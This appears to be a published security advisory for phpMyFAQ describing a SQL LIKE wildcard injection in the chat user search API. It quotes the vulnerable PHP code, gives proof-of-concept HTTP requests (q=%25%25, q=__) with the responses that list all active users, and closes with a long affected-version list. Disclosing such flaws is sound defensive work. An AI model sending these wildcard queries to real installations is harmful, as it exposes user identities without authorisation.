phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
The advisory, in context
Summary
An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.
Details
The vulnerable endpoint is:
GET /api/chat/users?q=...
Source:
// phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
$query = trim($request->query->get('q', ''));
if (mb_strlen($query) < 2) {
return $this->json([
'success' => true,
'users' => [],
], Response::HTTP_OK);
}
$chat = new Chat($this->configuration);
$users = $chat->searchUsers($query, $this->currentUser->getUserId());
Sink:
// phpmyfaq/src/phpMyFAQ/Chat.php
$escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));
$query = sprintf(
"SELECT u.user_id, ud.display_name
FROM %sfaquser u
LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
WHERE u.user_id != %d
AND u.user_id > 0
AND LOWER(ud.display_name) LIKE '%%%s%%'
AND u.account_status = 'active'
LIMIT %d",
Database::getTablePrefix(),
Database::getTablePrefix(),
$excludeUserId,
$escapedTerm,
$limit,
);
escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.
The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.
PoC:
Tested against:
phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae
Prerequisite: attacker has any valid authenticated user account.
- Ensure there are multiple active users in the database, for example:
userId=2 displayName="Alice Finance"
userId=3 displayName="Bob Support"
userId=4 displayName="Carol Engineering"
- Send a normal query that should not match any user:
GET /api/chat/users?q=zz HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": []
}
- Send a wildcard query:
GET /api/chat/users?q=%25%25 HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": [
{
"userId": 2,
"displayName": "Alice Finance"
},
{
"userId": 3,
"displayName": "Bob Support"
},
{
"userId": 4,
"displayName": "Carol Engineering"
}
]
}
The same issue is reproducible with _ wildcards:
GET /api/chat/users?q=__ HTTP/1.1
Host: target
Cookie: [authenticated session]
Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.
Impact
This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.
Video PoC:
https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 4.2.0-alpha
Fixed in 4.2.0-alpha
177 explicitly affected versions
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.2, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.9.0, 2.9.0-alpha, 2.9.0-alpha2, 2.9.0-alpha3, 2.9.0-alpha4, 2.9.0-beta, 2.9.0-beta2, 2.9.0-rc, 2.9.0-rc2, 2.9.0-rc3, 2.9.0-rc4, 2.9.1, 2.9.10, 2.9.11, 2.9.12, 2.9.13, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.9.8, 2.9.9, 3.0.0, 3.0.0-RC, 3.0.0-RC.2, 3.0.0-alpha, 3.0.0-alpha.2, 3.0.0-alpha.3, 3.0.0-alpha.4, 3.0.0-beta, 3.0.0-beta.2, 3.0.0-beta.3, 3.0.1, 3.0.10, 3.0.11, 3.0.12, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.0-RC, 3.1.0-alpha, 3.1.0-alpha.2, 3.1.0-alpha.3, 3.1.0-beta, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.0-RC, 3.2.0-RC.2, 3.2.0-RC.4, 3.2.0-alpha, 3.2.0-beta, 3.2.0-beta.2, 3.2.1, 3.2.10, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.0-RC, 4.0.0-RC.2, 4.0.0-RC.3, 4.0.0-RC.4, 4.0.0-RC.5, 4.0.0-alpha, 4.0.0-alpha.2, 4.0.0-alpha.3, 4.0.0-alpha.4, 4.0.0-beta, 4.0.0-beta.2, 4.0.1, 4.0.10, 4.0.11, 4.0.12, 4.0.13, 4.0.14, 4.0.15, 4.0.16, 4.0.18, 4.0.19, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.0.9, 4.1.0, 4.1.0-RC, 4.1.0-RC.2, 4.1.0-RC.4, 4.1.0-RC.5, 4.1.0-RC.6, 4.1.0-RC.7, 4.1.0-alpha, 4.1.0-alpha.2, 4.1.0-alpha.3, 4.1.0-beta, 4.1.0-beta.2, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.1.7, 4.1.8
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0-alpha"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.10.0-alpha",
"2.8.0",
"2.8.0-RC",
"2.8.0-RC2",
"2.8.0-RC3",
"2.8.0-RC4",
"2.8.0-alpha2",
"2.8.0-alpha3",
"2.8.0-beta",
"2.8.0-beta2",
"2.8.0-beta3",
"2.8.1",
"2.8.10",
"2.8.11",
"2.8.12",
"2.8.13",
"2.8.14",
"2.8.15",
"2.8.16",
"2.8.17",
"2.8.18",
"2.8.19",
"2.8.2",
"2.8.20",
"2.8.21",
"2.8.22",
"2.8.23",
"2.8.24",
"2.8.25",
"2.8.26",
"2.8.27",
"2.8.28",
"2.8.29",
"2.8.3",
"2.8.4",
"2.8.5",
"2.8.6",
"2.8.7",
"2.8.8",
"2.8.9",
"2.9.0",
"2.9.0-alpha",
"2.9.0-alpha2",
"2.9.0-alpha3",
"2.9.0-alpha4",
"2.9.0-beta",
"2.9.0-beta2",
"2.9.0-rc",
"2.9.0-rc2",
"2.9.0-rc3",
"2.9.0-rc4",
"2.9.1",
"2.9.10",
"2.9.11",
"2.9.12",
"2.9.13",
"2.9.2",
"2.9.3",
"2.9.4",
"2.9.5",
"2.9.6",
"2.9.7",
"2.9.8",
"2.9.9",
"3.0.0",
"3.0.0-RC",
"3.0.0-RC.2",
"3.0.0-alpha",
"3.0.0-alpha.2",
"3.0.0-alpha.3",
"3.0.0-alpha.4",
"3.0.0-beta",
"3.0.0-beta.2",
"3.0.0-beta.3",
"3.0.1",
"3.0.10",
"3.0.11",
"3.0.12",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.0.7",
"3.0.8",
"3.0.9",
"3.1.0",
"3.1.0-RC",
"3.1.0-alpha",
"3.1.0-alpha.2",
"3.1.0-alpha.3",
"3.1.0-beta",
"3.1.1",
"3.1.10",
"3.1.11",
"3.1.12",
"3.1.13",
"3.1.14",
"3.1.15",
"3.1.16",
"3.1.17",
"3.1.18",
"3.1.2",
"3.1.3",
"3.1.4",
"3.1.5",
"3.1.6",
"3.1.7",
"3.1.8",
"3.1.9",
"3.2.0",
"3.2.0-RC",
"3.2.0-RC.2",
"3.2.0-RC.4",
"3.2.0-alpha",
"3.2.0-beta",
"3.2.0-beta.2",
"3.2.1",
"3.2.10",
"3.2.2",
"3.2.3",
"3.2.4",
"3.2.5",
"3.2.6",
"3.2.7",
"3.2.8",
"3.2.9",
"4.0.0",
"4.0.0-RC",
"4.0.0-RC.2",
"4.0.0-RC.3",
"4.0.0-RC.4",
"4.0.0-RC.5",
"4.0.0-alpha",
"4.0.0-alpha.2",
"4.0.0-alpha.3",
"4.0.0-alpha.4",
"4.0.0-beta",
"4.0.0-beta.2",
"4.0.1",
"4.0.10",
"4.0.11",
"4.0.12",
"4.0.13",
"4.0.14",
"4.0.15",
"4.0.16",
"4.0.18",
"4.0.19",
"4.0.2",
"4.0.3",
"4.0.4",
"4.0.5",
"4.0.6",
"4.0.7",
"4.0.8",
"4.0.9",
"4.1.0",
"4.1.0-RC",
"4.1.0-RC.2",
"4.1.0-RC.4",
"4.1.0-RC.5",
"4.1.0-RC.6",
"4.1.0-RC.7",
"4.1.0-alpha",
"4.1.0-alpha.2",
"4.1.0-alpha.3",
"4.1.0-beta",
"4.1.0-beta.2",
"4.1.1",
"4.1.2",
"4.1.3",
"4.1.4",
"4.1.5",
"4.1.6",
"4.1.7",
"4.1.8"
]
}